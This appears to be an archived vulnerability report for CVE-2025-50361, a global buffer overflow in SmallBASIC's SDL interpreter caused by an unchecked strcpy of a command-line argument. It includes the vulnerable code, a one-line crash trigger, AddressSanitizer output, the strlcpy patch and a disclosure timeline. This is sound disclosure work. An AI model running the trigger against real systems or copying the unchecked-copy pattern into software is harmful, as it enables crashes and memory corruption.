Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-50361 PoC — SmallBASIC 安全漏洞

Source
Associated Vulnerability
Title:SmallBASIC 安全漏洞 (CVE-2025-50361)
Description:SmallBASIC是美国SmallBASIC公司的一个BASIC编程语言解释器。 SmallBASIC with SDL v12_28之前版本存在安全漏洞,该漏洞源于main.cpp函数存在缓冲区溢出,可能导致信息泄露和崩溃。
Description
Report and PoC of Global Buffer Overflow on SmallBASIC before 02364eff880ba62afac67bcceebafade2b40d21f
Readme
# Global Buffer Overflow in SmallBASIC

[SmallBASIC](https://github.com/smallbasic/SmallBASIC) is a fast and easy to learn BASIC language interpreter ideal for everyday calculations, scripts and prototypes. SmallBASIC includes trigonometric, matrices and algebra functions, a built in IDE, a powerful string library, system, sound, and graphic commands along with structured programming syntax.

<!-- Note: Browse https://github.com/smallbasic/SmallBASIC/tree/fb6b2c305bcb93ee8be89f6c14903c3ea2be779c for code before the patch. -->
* Affected Version: Before commit 02364eff880ba62afac67bcceebafade2b40d21f (Committed at 2025.06.06).
* Fixed Version: Commit 02364eff880ba62afac67bcceebafade2b40d21f. [See the commit](https://github.com/smallbasic/SmallBASIC/commit/02364eff880ba62afac67bcceebafade2b40d21f)

## Root Cause

In line 277 of `src/platform/sdl/main.cpp`, the `strcpy` has called to copy `argv` to global variable `opt_command`, which is defined in `src/common/smbas.h`. The global variable is fixed size array, according to `OPT_CMD_CZ` macro defined in the same file.

```c
// src/common/smbas.h:105
EXTERN char opt_command[OPT_CMD_CZ] //

// src/platform/sdl/main.cpp:263
  while (1) {
    int option_index = 0;
    int c = getopt_long(argc, argv, "hvkc:f:r:x:n:m:e:d:p:", OPTIONS, &option_index);
    if (c == -1) {
      // no more options
      if (!option_index) {
        for (int i = 1; i < argc; i++) {
          const char *s = argv[i];
          int len = strlen(s);
          if (runFile == NULL
              && ((strcasecmp(s + len - 4, ".bas") == 0 && access(s, 0) == 0)
                  || (strstr(s, "://") != NULL))) {
            runFile = strdup(s);
          } else if (chdir(s) != 0) {
            strcpy(opt_command, s);  // VULNERABLE
          }
        }
      }
      break;
    }
```

According to `src/common/smbas.h`, `OPT_CMD_CZ` is defined as 1024.

```c
#define OPT_CMD_CZ 1024
```

Unlike `strlcpy` function, `strcpy` does not check how many bytes to be copied. So more than 1024 bytes can be copied to the `opt_command` array. Since the command line argument can be longer than 1024 bytes, the input can overwrite the other objects. This can lead program `sbasicg` to do unexpected behaviors.

Note that the maximum length of the string that you can use at the command prompt in Windows is 8191 characters. In Linux, the length depends on `ARG_MAX` and `MAX_ARG_STRINGS`.

* Windows: https://learn.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation#more-information
* Linux: https://unix.stackexchange.com/questions/120642/what-defines-the-maximum-size-for-a-command-single-argument

## Trigger (Proof-of-Concept)

Build the SmallBASIC project, then run

```
$ src/platform/sdl/sbasicg $(python -c 'print("a"*1024)')
```

It causes Global Buffer Overflow while parsing the command line argument implemented in `main` function. Below is the output from Adress Sanitizer:

```vb
=================================================================
==5322==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000016c22a0 at pc 0x0000004ba2e4 bp 0x7ffeb3ebac70 sp 0x7ffeb3eba428
WRITE of size 1025 at 0x0000016c22a0 thread T0
    #0 0x4ba2e3 in strcpy (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)
    #1 0x8759c6 in main /home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/main.cpp:277:13
    #2 0x79e3ca62a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #3 0x79e3ca62a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #4 0x4378b4 in _start (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4378b4) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea)

0x0000016c22a0 is located 0 bytes after global variable 'opt_command' defined in '/home/ch1keen/fuzz/SmallBASIC/src/common/smbas.h:105' (0x16c1ea0) of size 1024
SUMMARY: AddressSanitizer: global-buffer-overflow (/home/ch1keen/fuzz/SmallBASIC/src/platform/sdl/sbasicg+0x4ba2e3) (BuildId: 4a800899b4dac082870bb647e1d872811e8633ea) in strcpy
Shadow bytes around the buggy address:
  0x0000016c2000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0000016c2280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0000016c2380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2480: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000016c2500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5322==ABORTING
```

## Impact

The impact of the vulnerability is unclear. But Global Buffer Overflow may overwrite the other global variables, this may lead to overwrite flags and settings of the program.

## The Patch

The vulnerability was fixed by replacing nearly all `strcpy` to `strlcpy`, including the issue I reported.

```diff
@@ -277,1 +277,1 @@ int main(int argc, char* argv[]) {
< strcpy(opt_command, command);
---
> strlcpy(opt_command, command, sizeof(opt_command));
```

[See the commit](https://github.com/smallbasic/SmallBASIC/commit/02364eff880ba62afac67bcceebafade2b40d21f) for detailed patch.

## Disclosure Timeline

* 2025.05.18: Vulnerability report sent to the maintainer (smallbasic@gmail.com).
* 2025.05.18: Reported to MITRE.
* 2025.06.06: The maintainer released the patch.
* 2025.07.09: Public Disclosure.
* 2025.08.13: MITRE assigned [CVE-2025-50361](https://www.cve.org/CVERecord?id=CVE-2025-50361).
File Snapshot

[4.0K] /data/pocs/154c8b4f1d6158e37c9dd24096133e097a55d398 └── [6.3K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.